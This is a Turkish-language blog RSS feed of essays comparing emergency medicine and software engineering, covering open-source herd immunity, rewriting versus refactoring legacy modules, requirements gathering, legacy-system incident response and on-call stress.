<p>Bir açık kaynak kütüphanesini sisteminize dahil ettiğinizde (mesela <code>npm install</code> veya <code>cargo add</code> yaptığınızda), aslında sisteminize bir "aşı" yaparsınız. O kod parçası, daha önce dünyanın dört bir yanındaki yüz binlerce farklı sunucuda çalışmış, binlerce hacker tarafından saldırıya uğramış, kenar durumları (edge cases) test edilmiş ve antikorları üretilmiştir. Siz o kodu projenize eklerken, o sürünün edindiği bağışıklığı da miras alırsınız.</p>
<p>Bir banka sunucusunun veya bir hastane bilgi sisteminin güvenliği, o kurumun kendi yazdığı kodlardan değil; arkasında duran açık kaynak sürüsünün bağışıklık duvarından güç alır.</p>
<h3>Aşısız Kalanlar ve "Başkası Nasılsa Bakıyordur" İllüzyonu</h3>
<p>Peki, sürü bağışıklığı ne zaman çöker?</p>
<p>Tıpta bunun cevabı çok nettir: İnsanlar hastalığın dehşetini unuttuğunda, aşı olmayı gereksiz bir külfet olarak görüp <em>"Zaten herkes aşılanmış, bana bir şey olmaz"</em> diyerek aşıdan kaçmaya başladığında. Sürüdeki bağışık birey oranı kritik eşiğin altına düştüğü an, unutulmuş virüsler hortlar ve salgın başlar.</p>
<p>Açık kaynak dünyasında da tam olarak bu parazitlik yaşanıyor.</p>
<p>Trilyon dolarlık teknoloji devleri, bankalar ve unicorn girişimler; altyapılarının %90'ını açık kaynak projelerin sırtına yüklüyor. Ama o kütüphanelerin bakımına tek bir satır katkı (contribution) vermiyor, tek bir güvenlik taraması yapmıyor ve o projeleri geceleri bodrum katında gönüllü olarak ayakta tutmaya çalışan geliştiricilere tek bir dolar bağışlamıyorlar.</p>
<p>Herkes aynı tehlikeli varsayıma sığınıyor: <em>"Nasılsa açık kaynak, nasılsa birileri kodu inceliyordur."</em></p>
<p>Sonra ne oluyor?</p>
<p>2014 yılında <strong>Heartbleed</strong> krizi patladı. İnternetteki güvenli iletişimin (HTTPS) kalbi olan OpenSSL kütüphanesinde iki yıldır duran devasa bir açık keşfedildi. Milyarlarca dolarlık şirketlerin trafiğini şifreleyen bu kritik yazılımı, meğer iki kişilik bir ekip gönüllü olarak ayakta tutmaya çalışıyormuş ve kimse kodun derinliklerine bakmamış.</p>
<p>Daha yakın tarihte yaşanan <strong>xz utils</strong> arka kapı (backdoor) vakasını hatırlayın. Linux dağıtımlarının kalbine yerleştirilen sofistike bir siber saldırı, şans eseri tek bir mühendisin milisaniyelik gecikmeleri fark etmesiyle son anda engellendi. Saldırgan (Jia Tan), tükenmiş ve yalnız kalmış bir açık kaynak geliştiricisinin güvenini iki yıl boyunca ilmek ilmek işleyerek projeye sızmıştı.</p>
<p>Sürü, aşı olmayı bıraktığı anda virüs en zayıf halkadan içeri girdi.</p>
<h3>Kolektif Bağışıklığa Katkı Vermek</h3>
<p>Bir toplumda aşı olmak sadece kendi sağlığınızı korumak değildir; kucağındaki bebeği koruyamayan anneyi, kanser tedavisi gören yaşlıyı koruma sorumluluğudur. Bencilliğin bittiği, kamusal bilincin başladığı yerdir.</p>
<p>Yazılımda da açık kaynak kod kullanıyorsanız, o sürünün bir parçasısınız demektir.</p>
<p>Kullandığınız bir kütüphanede bulduğunuz bir hatayı sadece kendi projenizde "monkey patch" ile geçiştirip kapatırsanız, virüsü gizlemiş olursunuz. Ama o hatayı bir Pull Request açarak ana depoya (upstream) bildirir ve düzeltirseniz, dünyanın öbür ucundaki tanımadığınız bir mühendisin sistemini de korumuş olursunuz. Sisteme bir antikor enjekte etmiş olursunuz.</p>
<p>Açık kaynak, bedava yazılım marketi değildir. Açık kaynak, insanlığın bilgi birikimini ortak bir biyolojik organizma gibi savunma sözleşmesidir.</p>
<p>Eğer sürünün sunduğu bağışıklıktan faydalanıyorsanız, o sürüyü beslemek ve korumak zorundasınız.<br>
Aksi takdirde, günün birinde kapınızı çalacak olan o ölümcül patojene karşı elinizde ne bir aşı kalır, ne de sığınabileceğiniz bir kalkan.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>acik-kaynak</category>
            <category>open-source</category>
            <category>suru-bagisikligi</category>
            <category>toplum-sagligi</category>
            <category>guvenlik</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/acik-kaynak-topluluklari-ve-asi-mantigi-herd-immunity/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Refactoring mi, Amputasyon mu? Ne Zaman Yüzleşip Kesip Atmalıyız?]]></title>
            <link>http://localhost:3000/blog/post/refactoring-mi-amputasyon-mu-ne-zaman-yuzlesip-kesip-atmaliyiz</link>
            <guid>refactoring-mi-amputasyon-mu-ne-zaman-yuzlesip-kesip-atmaliyiz</guid>
            <pubDate>Thu, 20 Aug 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Kangren olmuş bir uzvu kurtarmaya çalışmak hastanın hayatına mal olabilir. Bazen legacy bir modülü düzeltmeye çalışmak yerine tamamen silip baştan yazma cesaretini ne zaman göstermeliyiz?]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/refactoring-mi-amputasyon-mu-ne-zaman-yuzlesip-kesip-atmaliyiz/thumbnail" alt=""> Cerrahinin en karanlık, en trajik ama aynı zamanda en hayat kurtarıcı müdahalelerinden biri <strong>amputasyondur</strong>.</p>
<p>Ağır bir diyabetik ayak yarası, kontrolsüz bir enfeksiyon ya da ezilme travması sonucu kan dolaşımı durduğunda; doku yavaş yavaş oksijensiz kalır ve hücreler ölmeye başlar. Tıpta buna <strong>nekroz</strong>, halk arasında ise <strong>kangren</strong> denir. Kangrenli bir bacak artık bir insan uzvu değildir; tüm vücuda zehir (toksin ve bakteri) pompalayan ölümcül bir fabrikadır.</p>
<p>Dünyadaki hiçbir cerrah bir hastanın bacağını keyifle kesmez. Her hekim önce dokuyu kurtarmayı, antibiyotikle enfeksiyonu kurutmayı, damarı açıp kan akışını geri getirmeyi dener. Ama öyle bir eşik vardır ki; o çizgiyi geçtiğinizde bacağı kurtarmaya çalışmak, hastayı mezara göndermekle eşdeğerdir. Zehir kana karışır (sepsis), böbrekler iflas eder, kalp durur.</p>
<p>O an cerrah neşteri ve kemik testeresini eline alır. Bacağı kesip atar.</p>
<p>Bu bir başarısızlık değildir. Bu, hastanın yaşaması için ödenen acımasız ama zorunlu bir bedeldir: <strong>Bütünün yaşaması için parçayı feda etmek.</strong></p>
<p>Peki, yazılım mühendisliği masasına oturduğumuzda ne yapıyoruz?</p>
<h3>Kod Fetişizmi ve Bitmeyen "Refactoring" Masalı</h3>
<p>Yazılımcılar olarak kodlarımıza karşı hastalıklı, romantik bir bağ geliştiririz. Bir zamanlar şirketimizin ilk MVP'sini sırtlamış, gece yarıları kahve eşliğinde bin bir emekle yazılmış o 10 bin satırlık monolitik modül; bizim gözümüzde bir başyapıttır.</p>
<p>Ama zaman geçmiştir. Şirket büyümüş, gereksinimler değişmiş, teknolojiler evrilmiştir. O eski kod artık sistemin en karanlık köşesinde kokuşmaya başlamıştır:</p>
<ul>
<li>İç içe geçmiş 15 katlı <code>if-else</code> blokları,</li>
<li>Global değişkenlerin havada uçuştuğu fonksiyonlar,</li>
<li>Dokümantasyonu olmayan, testleri çalışmayan, kimsenin içine girmeye cesaret edemediği spagetti yapılar...</li>
</ul>
<p>Sisteme her yeni özellik eklenmeye çalışıldığında o modül patlar. Bir yeri düzeltirsiniz, bambaşka üç yer çöker. Veritabanını kilitler, belleği sömürür, sprint'leri felç eder.</p>
<p>Ve ekibin kıdemli mühendisleri toplantıda aynı tanıdık cümleyi kurar:<br>
<em>"Bunu azar azar refactor edeceğiz. Her sprint'te birkaç dosyasını temizleyip 'Clean Code' standartlarına getireceğiz."</em></p>
<p>İşte bu, kangren olmuş ve çürümeye yüz tutmuş bir bacağa sargı bezi sarıp, <em>"Her gün biraz krem sürersek zamanla iyileşir"</em> demekle aynı şeydir.</p>
<p>O kod artık iyileşemez. O kod artık doku nekrozuna uğramıştır. İçine kattığınız her yeni temiz fonksiyon, o çürük çorbanın içinde anında kirlenir ve çürür. Siz onu kurtarmaya çalıştıkça, şirketin mühendislik enerjisi ve motivasyonu sepsise girer.</p>
<h3>Batık Maliyetin (Sunk Cost) Kanlı Prangası</h3>
<p>Peki neden kesip atamıyoruz? Neden o modülü tamamen çöpe gönderip sıfırdan inşa etme cesaretini gösteremiyoruz?</p>
<p>Çünkü insan beyni <strong>Batık Maliyet Yanılsaması (Sunk Cost Fallacy)</strong> ile sakatlanmıştır.</p>
<p>Yöneticinin kafasında tek bir hesap döner: <em>"Biz o modüle iki yıl önce 100 bin dolar harcadık, üç mühendisimiz altı ay boyunca gece gündüz çalıştı. Şimdi nasıl çöpe atarız?"</em></p>
<p>Bir cerrahın, <em>"Ama bu bacak 40 yıldır hastayı taşıyordu, üzerinde ne kadar çok emek var, şimdi nasıl kesip atayım?"</em> demesi ne kadar absürtse; bir yazılım yöneticisinin veya mimarın geçmişte harcanan zamana sığınarak çürümüş kodu sistemde tutması da o kadar trajikomiktir.</p>
<p>Geçmişte harcanan zaman gitmiştir. O para ödenmiştir. Geleceği belirleyen tek şey şudur: <strong>Bu kod parçası bugün sisteme değer mi katıyor, yoksa sistemi zehirliyor mu?</strong></p>
<p>Eğer bir modülü ayakta tutmak için harcadığınız bakım maliyeti (maintenance cost) ve yarattığı krizler, onu sıfırdan yazmanın maliyetini aşmışsa; orada mühendislik bitmiş, sadece duygusal inat başlamış demektir.</p>
<h3>Ne Zaman Refactoring, Ne Zaman Amputasyon?</h3>
<p>Bir sistemin hasta yatağında refactoring mi yoksa amputasyon mu gerektirdiğini nasıl anlarsınız? Deneyimlerim bana şu üç semptomun cerrahi bir gösterge olduğunu öğretti:</p>
<ol>
<li><strong>Korku Eşiği:</strong> Eğer ekibinizdeki mühendisler o modüldeki bir dosyayı değiştirmekten korkuyor, <em>"Aman oraya dokunmayalım, ne olacağı belli olmaz"</em> diyorsa; o kod artık canlı değildir, zombidir.</li>
<li><strong>Test Edilemezlik:</strong> Kodun bağımlılıkları o kadar birbirine dolanmıştır ki, tek bir birim testi (unit test) yazabilmek için 40 farklı servisi ayağa kaldırmanız gerekiyordur.</li>
<li><strong>Değişim Maliyetinin Orantısızlığı:</strong> İki saatlik basit bir arayüz değişikliği, o modülün içindeki karmaşık bağımlılıklar yüzünden iki haftalık bir regresyon testine ve üç ayrı prod patlamasına yol açıyorsa.</li>
</ol>
<p>Bu üç semptom bir aradaysa, elinizdeki kremleri ve pansuman bezlerini yere bırakın. Refactoring masalı sona ermiştir.</p>
<h3>Amputasyon Bir Sanattır</h3>
<p>Bir uzvu kesmek, kör bir baltayla rastgele vurmak demek değildir. Cerrah damarları bağlar, sinir uçlarını özenle kapatır, temiz dokuyu korur ve protez takılabilecek steril bir güdük bırakır.</p>
<p>Yazılımda da bir modülü ampute etmek; <code>git rm -rf</code> yapıp kaçmak değildir.<br>
Önce sınırları net bir arayüz (Interface / API Gateway) çizersiniz. Eski modülün arkasında sessizce yepyeni, sade ve modern bir servis inşa edersiniz. Trafiği adım adım yeni servise yönlendirir (Strangler Fig Pattern), eski kodun bağlantılarını tek tek ve soğukkanlılıkla kesersiniz.</p>
<p>Ve son bağlantı koptuğunda, o eski 10 bin satırlık kamburu tek bir commit ile depodan silip atarsınız:<br>
<code>feat: remove legacy billing module. Rest in peace.</code></p>
<p>O gün terminalinizde 10 bin satırın kırmızıyla silindiğini gördüğünüzde hissedeceğiniz hafiflik; kangrenli bacağından kurtulup yoğun bakımdan sağ salim çıkan bir hastanın aldığı ilk derin nefes gibidir.</p>
<p>Bazen en büyük mühendislik, kod yazmak değil; doğru zamanda, doğru parçayı gözünü kırpmadan kesip atabilme cesaretidir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>refactoring</category>
            <category>amputasyon</category>
            <category>legacy-kod</category>
            <category>mimari</category>
            <category>paramedik</category>
            <category>teknik-borc</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/refactoring-mi-amputasyon-mu-ne-zaman-yuzlesip-kesip-atmaliyiz/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Şikayeti Ne?" - Hasta Öyküsü (Anamnez) Almak vs. Müşteriden Requirement Dinlemek]]></title>
            <link>http://localhost:3000/blog/post/sikayeti-ne---hasta-oykusu-anamnez-almak-vs-musteriden-requirement-dinlemek</link>
            <guid>sikayeti-ne---hasta-oykusu-anamnez-almak-vs-musteriden-requirement-dinlemek</guid>
            <pubDate>Wed, 19 Aug 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Hastalar genellikle neresinin acıdığını tarif edebilir ama asıl sorunun ne olduğunu bilmezler. Tıpkı "Uygulama çalışmıyor" diyen bir müşterinin gerçek ihtiyacını bulmak için doğru soruları sormak zorunda olmamız gibi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/sikayeti-ne---hasta-oykusu-anamnez-almak-vs-musteriden-requirement-dinlemek/thumbnail" alt=""> Acil servisin triyaj masasında nöbet tutarken ya da ambulansla bir eve girdiğinizde, karşılaştığınız insanlardan duyacağınız ilk cümleler genellikle son derece dramatik, bulanık ve duygusal bir panik içerir:<br>
<em>"Ölüyorum doktor bey, kalbim patlayacak gibi!"</em><br>
<em>"Karnım öyle bir ağrıyor ki içim parçalanıyor!"</em><br>
<em>"Annem nefes alamıyor, hemen bir şey yapın!"</em></p>
<p>Eğer acil tıp çalışanları hastaların bu ilk çığlıklarına göre hareket etseydi, acil servisler her gün binlerce yanlış teşhis ve gereksiz cerrahi müdahaleyle dolup taşardı. Çünkü acı çeken bir insan, bedeninde neyin ters gittiğini rasyonel olarak analiz edemez. Kalp krizi geçirdiğini sanan bir hastanın sadece ağır bir mide spazmı (reflü) yaşadığı; veya <em>"Sırtım tutuldu, rüzgarda kaldım"</em> diyen bir hastanın ölümcül bir aort yırtılması (diseksiyon) ile karşı karşıya olduğu yüzlerce vakaya şahit olursunuz.</p>
<p>Tıpta teşhisin %80'i tahlillerden veya pahalı MR cihazlarından değil; <strong>doğru alınmış bir Anamnezden (Hasta Öyküsü)</strong> gelir.</p>
<p>Bunun için acil tıpta <strong>OPQRST</strong> adı verilen katı bir sorgulama protokolü uygulanır:</p>
<ul>
<li><strong>O (Onset):</strong> Bu ağrı tam olarak ne zaman ve nasıl başladı? Dinlenirken mi, hareket halindeyken mi?</li>
<li><strong>P (Provocation):</strong> Ağrıyı artıran veya hafifleten bir pozisyon var mı?</li>
<li><strong>Q (Quality):</strong> Ağrının karakteri nasıl? Bıçak saplanır gibi mi, mengenede sıkıştırılır gibi mi, yanma hissi mi?</li>
<li><strong>R (Radiation):</strong> Ağrı bir yere yayılıyor mu? Sol kola mı, çeneye mi, sırta mı?</li>
<li><strong>S (Severity):</strong> 1 ile 10 arasında bir puan versen kaç dersin?</li>
<li><strong>T (Time):</strong> Ağrı sürekli mi var, yoksa dalgalar halinde gelip gidiyor mu?</li>
</ul>
<p>Bu sorular, hastanın panik dolu sis perdesini aralar ve hekimi altta yatan gerçek biyolojik arızaya götürür.</p>
<p>Peki, yazılım dünyasında "Gereksinim Analizi" (Requirement Gathering) toplantılarına oturduğumuzda ne yapıyoruz?</p>
<h3>"Uygulama Çalışmıyor" Krizinin Anatomisi</h3>
<p>Yazılım projelerinde müşteriden veya iş biriminden gelen talepler, acil servisteki hastanın çığlıklarından farksızdır.</p>
<p>Müşteri veya ürün yöneticisi toplantı odasına hışımla girer:<br>
<em>"Kullanıcılar sisteme giriş yapamıyor, her şey çöktü!"</em><br>
Veya daha tehlikelisi, doğrudan kendi hatalı teşhisini dayatır:<br>
<em>"Ana sayfadaki giriş butonunu kırmızı yapmamız ve ekranın tam ortasına devasa bir açılır pencere (pop-up) koymamız lazım. İki güne yetiştirin!"</em></p>
<p>Deneyimsiz bir yazılımcı veya ajans hemen başını sallar: <em>"Tamam, butonu kırmızı yapıp ortalayalım, pop-up ekleyelim."</em> İki gün sonra özellik canlıya alınır; ama dönüşüm oranları (conversion rate) yerlerde sürünmeye devam eder. Müşteri daha da öfkelenir: <em>"Yaptınız ama yine çalışmıyor!"</em></p>
<p>Çünkü siz hastanın ağrısının nereden kaynaklandığını sormadınız; hastanın panikle önerdiği saçma sapan tedaviyi uyguladınız.</p>
<p>Eğer masaya bir mühendis gibi otursaydınız, tıptaki OPQRST protokolünü yazılıma uyarlardınız:</p>
<ul>
<li><strong>Onset (Başlangıç):</strong> <em>"Kullanıcıların giriş yapamadığını tam olarak ne zaman fark ettiniz? Son deployment'tan sonra mı, yoksa yeni reklam kampanyası başladıktan sonra mı?"</em></li>
<li><strong>Provocation (Tetikleyici):</strong> <em>"Bu sorun sadece Safari mobilde mi yaşanıyor, yoksa Chrome masaüstünde de var mı? Wi-Fi kullanıcılarında mı, hücresel veride mi?"</em></li>
<li><strong>Quality (Hatanın Karakteri):</strong> <em>"Kullanıcı butona bastığında sayfa sonsuz bir yükleme döngüsüne mi giriyor, yoksa anında 'Hatalı Şifre' uyarısı mı veriyor?"</em></li>
<li><strong>Radiation (Etki Alanı):</strong> <em>"Bu sorun sadece bireysel kullanıcıları mı etkiliyor, kurumsal hesapları da kapsıyor mu? Ödeme adımı da bu durumdan etkilendi mi?"</em></li>
<li><strong>Severity (Şiddet):</strong> <em>"Giriş yapamayanların oranı toplam trafiğin yüzde kaçı? Şirketin cirosuna anlık etkisi ne?"</em></li>
</ul>
<p>Bu soruları sormaya başladığınız an, o devasa <em>"Uygulama çöktü"</em> efsanesi bir anda buharlaşır. Gerçek teşhis ortaya çıkar: Meğer son pazarlama kampanyasında Instagram'dan gelen kullanıcıların tarayıcısı (in-app browser) çerezleri (cookie) engelliyordur ve oturum açılamıyordur.</p>
<p>Çözüm kırmızı buton veya pop-up değildir; iki satırlık bir authentication yönlendirmesidir.</p>
<h3>Yanlış Anamnez Projeyi Batırır</h3>
<p>Tıpta yanlış hasta öyküsü almak hastayı mezara götürür. Apandisiti olan birine gaz sancısı teşhisi koyup evine gönderirseniz, o apandisit birkaç saat sonra patlar ve hasta peritonitten hayatını kaybeder.</p>
<p>Yazılımda da yanlış gereksinim analizi, şirketleri iflasa sürükler.</p>
<p>Müşterinin <em>"Bizim çok gelişmiş bir raporlama modülüne ihtiyacımız var"</em> sözünü sorgulamadan kabul edip; ekibi 4 ay boyunca devasa filtreleme sistemleri, dinamik grafikler ve PDF dışa aktarma modülleri geliştirmeye kilitlersiniz. Dört ayın ve yüz binlerce liranın sonunda o modül yayına girer.</p>
<p>Ve ne olur biliyor musunuz? Müşteri o ekranda sadece sağ üstteki <em>"Excel Olarak İndir"</em> butonuna basar. Geri kalan hiçbir filtreyi, hiçbir karmaşık grafiği hayatında bir kez bile kullanmaz. Çünkü onun asıl semptomu <em>"Ben veriyi muhasebecime ham olarak göndermek istiyorum"</em> ihtiyacıdır. Siz doğru soruları sormadığınız için, 4 ay boyunca boş bir fanteziyi ameliyat etmişsinizdir.</p>
<h3>Dinlemek Bir Mühendislik Refleksidir</h3>
<p>İyi bir mühendis olmak, sadece kod sözdizimini (syntax) ezbere bilmek veya en yeni framework'leri kullanmak değildir. İyi bir mühendislik, karşınızdaki insanın karmaşık, çelişkili ve panik dolu ifadelerinin arkasındaki <strong>gerçek patolojiyi</strong> çekip çıkarabilme sanatıdır.</p>
<p>Müşteriniz ya da yöneticiniz size bir problemle geldiğinde; klavyeye sarılmadan önce arkanıza yaslanın.<br>
Onun heyecanını ve korkusunu sakinleştirin.<br>
Reçeteyi onun yazmasına izin vermeyin.</p>
<p>Doğru soruları sorun. Belirtilerin kökenine inin.<br>
Çünkü doğru konulmuş bir teşhis, yazılacak binlerce satır gereksiz koddan çok daha kıymetlidir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>anamnez</category>
            <category>requirements</category>
            <category>urun-yonetimi</category>
            <category>paramedik</category>
            <category>yazilim-tasarimi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/sikayeti-ne---hasta-oykusu-anamnez-almak-vs-musteriden-requirement-dinlemek/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Vital Bulgular Kaybettiğinde: Legacy Bir Projenin Son Dakikalığına Müdahale Etmek]]></title>
            <link>http://localhost:3000/blog/post/vital-bulgular-kaybettiginde-legacy-bir-projenin-son-dakikaligina-mudahale-etmek</link>
            <guid>vital-bulgular-kaybettiginde-legacy-bir-projenin-son-dakikaligina-mudahale-etmek</guid>
            <pubDate>Tue, 18 Aug 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Monitörde nabzı düşen bir hastaya müdahale ederken hissedilen o buz gibi sessizlik ile, dokümantasyonu olmayan 10 yıllık legacy bir projede npm install yaptıktan sonra terminalin kırmızı error kusması arasındaki o panik anı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/vital-bulgular-kaybettiginde-legacy-bir-projenin-son-dakikaligina-mudahale-etmek/thumbnail" alt=""> Acil serviste ya da ambulansta çalışan herkesin hafızasına kazınmış, rüyalarına giren çok özel bir an vardır: <strong>Vital bulguların (hayati göstergelerin) birer birer düşmeye başladığı o saniyeler.</strong></p>
<p>Hastanın başında durursunuz. Monitördeki yeşil dalgalar yavaşlamaya başlar: Kalp hızı 90'dan 50'ye, 40'a iner. Parmaktaki oksimetre probu önce %98 gösterirken, birden %75'e, oradan %60'a çakılır. Tansiyon manşonu şişer şişer ve cihaz ekrana bir rakam yazamaz; çünkü ölçülecek bir nabız basıncı kalmamıştır.</p>
<p>O an odadaki sesler kesilir. Zaman yavaşlar. Havadaki o yoğun metalik adrenalin kokusunu hissedersiniz. Çünkü bilirsiniz ki, birkaç saniye sonra o ritim tamamen düz bir çizgiye (Asistol) dönüşecek ve karşınızdaki insan avuçlarınızın arasından kayıp gidecektir.</p>
<p>O saniyelerde panikleyen bir sağlıkçı ne yapar? Sağa sola koşuşturur, anlamsızca bağırır, monitörün kablolarını çekiştirir ve altın değerindeki o son saniyeleri tüketir.<br>
Oysa soğukkanlı bir profesyonel tek bir şey yapar: Derin bir nefes alır, gürültüyü zihninde susturur ve tıbbın en temel alfabesine döner: <strong>ABC (Airway - Breathing - Circulation).</strong> Hava yolunu aç, solut, kalbe kan pompala. Teferruatları unut, hastayı temel fonksiyonlarıyla hayatta tut.</p>
<p>Şimdi bu sahneyi donduralım ve yazılım dünyasının en karanlık bodrum katına inelim.</p>
<h3>10 Yıllık Kodun Karşısında Çaresizlik</h3>
<p>Şirkette sıradan bir Perşembe öğleden sonrasıdır. Yönetimden acil bir talep gelir: <em>"Şirketin ana faturalandırmasını ve muhasebe entegrasyonunu yöneten eski bir servisimiz var. Gelir İdaresi Başkanlığı yeni bir regülasyon getirdi, bu servise küçük bir alan eklememiz lazım."</em></p>
<p>Depoya (repository) girersiniz. Son commit tarihi: 4 yıl önce.<br>
Yazan mühendisler çoktan yurt dışına gitmiş. Dokümantasyon yok. README dosyası sadece projenin adını içeriyor. Hangi Node.js veya Python sürümünde çalıştığı belli değil.</p>
<p>Projeyi yerel bilgisayarınıza klonlarsınız ve o masum komutu yazarsınız:<br>
<code>npm install</code> (veya <code>docker-compose up</code>)</p>
<p>Ve terminal bir anda kan gölüne döner.</p>
<p>Yüzlerce satır kırmızı hata, birbirini tutmayan bağımlılıklar, Python 2.7 uyumsuzlukları, artık internette var olmayan silinmiş npm paketleri, patlayan C++ derleyici modülleri... Ekran aşağı doğru deliler gibi kayar.</p>
<p>Daha kötüsü; test amacıyla dokunduğunuz o servis canlı ortamda (production) bir anda kilitlenir. Sağlık kontrolü (health-check) endpoint'i <code>500 Internal Server Error</code> dönmeye başlar. CPU kullanımı %100'e fırlar, kuyrukta bekleyen binlerce fatura birikmeye başlar ve müşteri hizmetleri telefonları çalmaya başlar.</p>
<p>Sistemin nabzı durmuştur. Vital bulgular gitmiştir. Terminalin başında otururken avuçlarınızın içinin terlediğini, kalbinizin kulaklarınızda attığını hissedersiniz. İşte o an, sunucu odasındaki yoğun bakım anıdır.</p>
<h3>Panik vs. Cerrahi Soğukkanlılık</h3>
<p>Böyle bir krizde acemi bir yazılımcının refleksi; StackOverflow'dan bulduğu rastgele komutları ardı ardına terminale yapıştırmaktır:<br>
<code>npm install --force</code>, <code>sudo chmod -R 777</code>, veritabanını rastgele restart etmek, konfigürasyon dosyalarını körlemesine değiştirmek...</p>
<p>Bu, kalbi duran hastanın göğsüne yumruk atıp rastgele ilaçlar enjekte etmekten farksızdır. Hastayı kurtarmaz; kalan son hücreleri de öldürürsünüz.</p>
<p>Legacy bir krizin son dakikalarında hayatta kalmak istiyorsanız, tıpkı ambulansta olduğu gibi temel reflekslere dönmek zorundasınız:</p>
<ol>
<li><strong>Kanamayı Durdur (Isolate &#x26; Freeze):</strong> Yeni paket kurmayı, versiyon yükseltmeyi veya sistemi "iyileştirmeyi" derhal bırakın. Sorunu çözmeye çalışırken daha büyük bir enkaz yaratıyorsunuz. Sistemi dış dünyadan izole edin; gelen istekleri geçici bir kuyruğa veya bakım sayfasına yönlendirin.</li>
<li><strong>Hava Yolunu Aç (Restore Minimum Runtime):</strong> Sistemin 4 yıl önceki orijinal çalışma ortamını simüle edin. O kod hangi Linux çekirdeğinde, hangi dil sürümünde derlenmişti? Eğer elinizde eski bir container image'ı veya snapshot varsa, hemen ona dönün. Yeni dünyayı eski koda dayatamazsınız.</li>
<li><strong>Dolaşımı Sağla (Core Function Only):</strong> Servisin 50 farklı özelliği olabilir; ama o an şirketi hayatta tutan tek bir kritik fonksiyon vardır (mesela sadece faturayı kesip veritabanına yazmak). Gerekirse bildirim servislerini, istatistik loglarını ve yan eklentileri devreden çıkarın. Bırakın hasta sadece nefes alsın.</li>
</ol>
<h3>Monitörün Yeşile Dönüşü</h3>
<p>Yoğun bakımda bir hastayı hayata döndürdüğünüz o ilk anı asla unutamazsınız. Göğüs kompresyonunu durdurursunuz, boyundaki şah damarına (karotis) parmaklarınızı koyarsınız ve o minik, zayıf ama ritmik vuruşu hissedersiniz: <em>Küt... Küt... Küt...</em><br>
Monitördeki düz çizgi yeniden sinüs dalgalarına dönüşür. Odanın içindeki o ölümcül soğukluk dağılır.</p>
<p>Legacy bir sistemi sabaha karşı saat 04:30'da ayağa kaldırdığınız an da böyledir.<br>
Terminalde o kırmızı hatalar diner. Log dosyasında ilk başarılı istek görünür:<br>
<code>INFO: Worker process started. Listening on port 8080. [200 OK]</code></p>
<p>Gözleriniz kan çanağına dönmüştür, kahveniz saatler önce soğumuştur, sırtınız taş gibi kesilmiştir. Ama o an bilirsiniz ki, bir organizma daha sizin ellerinizde hayata tutunmuştur.</p>
<p>Kodlar sadece harflerden ve sayılardan ibaret değildir. Kodlar, arkasında binlerce insanın emeğini, ticaretini, iletişimini ve bazen hayatını taşıyan yaşayan sistemlerdir.</p>
<p>Ve o sistemlerin nabzı düştüğünde; ihtiyacınız olan tek şey süslü teoriler değil, ölümün karşısında dimdik durabilecek o sakin, sarsılmaz mühendislik disiplinidir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>legacy-code</category>
            <category>vital-bulgular</category>
            <category>kriz-yonetimi</category>
            <category>paramedik</category>
            <category>debugging</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/vital-bulgular-kaybettiginde-legacy-bir-projenin-son-dakikaligina-mudahale-etmek/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Ambulans Sirenleri ve Bildirim Sesleri: Pavlov Şartlanması Olarak Nöbet Psikolojisi]]></title>
            <link>http://localhost:3000/blog/post/ambulans-sirenleri-ve-bildirim-sesleri-pavlov-sartlanmasi-olarak-nobet-psikolojisi</link>
            <guid>ambulans-sirenleri-ve-bildirim-sesleri-pavlov-sartlanmasi-olarak-nobet-psikolojisi</guid>
            <pubDate>Mon, 17 Aug 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Bir paramediğin uzaktan gelen ambulans siren sesine anında adrenalin salgılamasıyla, bir yazılımcının gece 3'teki PagerDuty veya Slack bildirimini duyduğunda kalbinin sıkışması arasındaki korkunç nörolojik benzerlik.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/ambulans-sirenleri-ve-bildirim-sesleri-pavlov-sartlanmasi-olarak-nobet-psikolojisi/thumbnail" alt=""> 1890'lı yıllarda Rus fizyolog İvan Pavlov, köpeklerin tükürük bezleri üzerine çalışırken modern psikolojinin en temel yasalarından birini keşfetti: <strong>Klasik Koşullanma.</strong> Köpeklere her mama verilişinde bir zil çalındığında, bir süre sonra köpekler ortada et olmasa bile sadece zil sesini duydukları an salya salgılamaya başlıyordu. Beyin, nötr bir ses dalgasını doğrudan biyolojik bir refleksle mühürlemişti.</p>
<p>Yıllar sonra bir ambulans istasyonunda 24 saatlik nöbet tutarken, kendimin Pavlov'un köpeklerinden hiçbir farkım olmadığını çok sert bir biçimde anladım.</p>
<p>112 istasyonunun dinlenme odasında, gece saat 03:00'te ranzaya uzanmışsınızdır. Bedeniniz yorgunluktan dökülüyordur, gözleriniz kapanır. Tam derin uykuya dalacağınız o saniyede, tavandaki hoparlörden o mekanik, madeni anons sesi patlar:<br>
<em>Dıt-dıt-dıt... "İstasyon 4, vaka var. Trafik kazası, çıkış yapın!"</em></p>
<p>O ses kulağınıza ulaştığı mikrosaniyelik anda; daha beyniniz bilincinizi açamadan, nerede olduğunuzu idrak edemeden otonom sinir sisteminiz devreye girer:<br>
Göz bebekleriniz büyür. Nabzınız anında 60'tan 140'a fırlar. Midenize buz gibi bir yumruk iner, damarlarınıza yoğun bir kortizol ve adrenalin banyosu boşalır. Yataktan bir yay gibi fırlar, pantolonunuzu çekerken merdivenlerden ambulansa doğru koşmaya başlarsınız.</p>
